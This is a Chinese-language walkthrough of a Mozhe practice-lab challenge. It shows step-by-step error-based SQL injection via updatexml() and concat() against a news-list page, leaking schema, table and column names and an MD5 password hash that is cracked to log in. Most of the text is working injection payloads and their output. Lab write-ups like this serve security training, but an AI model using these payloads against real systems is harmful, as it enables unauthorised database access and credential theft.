靶场地址:https://www.mozhe.cn/bug/detail/Ri9CaDcwWVl3Wi81bDh3Ulp0bGhOUT09bW96aGUmozhe
依旧是mysql、无防护
①依旧是公告界面
url:http://219.153.49.228:44679/new_list.php?id=1
1',1' and '1'='1' -- q,1' and '1'='2' -- q判断存在字符型注入,数据库类型为MariaDB
②order by 判断字段数为4,union select无回显
③尝试报错注入,利用函数updatexml()
updatexml参数(目标xml内容,xml文档路径,更新的内容)
当文档路径包含字符~,会判断不合法,输出字符~报错
利用concat函数将子查询语句与字符~拼接
例如:concat(0x7e,(select user()))
会将查询结果拼接~报错输出
所以尝试
id=1' and updatexml(1,concat(0x7e,(select user())),1) -- q

判断存在报错注入
④接下来还是联合注入那一套,替换子查询语句即可
id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1) -- q
爆出库名information_schema,mysql,perfor
查询perfor库是空的
database()查询出当前数据库为stormgroup,居然不在schema_name里
爆出表名member,notice
表member爆出字段name,password,status
⑤分别查询字段值
id=11111111' and updatexml(1,concat(0x7e,(select group_concat(字段) from member)),1) -- q
name字段:mozhe,mozhe
status字段:0,1
查询password字段时,根据另外两个字段可知有两条数据,因为报错长度最多为32位,字符~占了1位,剩下31位不够输出第一个32位的MD5密码,而且第一条数据status字段值为0,大概率用不了。
直接查询第二条数据
id=11111111' and updatexml(1,concat(0x7e,(select group_concat(password) from member where status='1')),1) -- q

得到~76e59b744c5db295a5f0b66f2e9a192
依旧少了一位,利用函数substr(字符串,32,1)输出第32位字符
id=11111111' and updatexml(1,concat(0x7e,(select substr(group_concat(password),32,1) from member where status=1)),1) -- q
得到~e
拼一拼得到76e59b744c5db295a5f0b66f2e9a192e
解密得到945748
mozhe/945748登录得到key

本文详细讲述了在未防护的MySQL系统中,通过公告界面和报错注入技巧,逐步获取数据库敏感信息的过程,包括库名、表名、字段值等,并利用这些信息进行登录。关键步骤包括字符型注入、unionselect、updatexml函数利用和字段值解析。
3438

被折叠的 条评论
为什么被折叠?



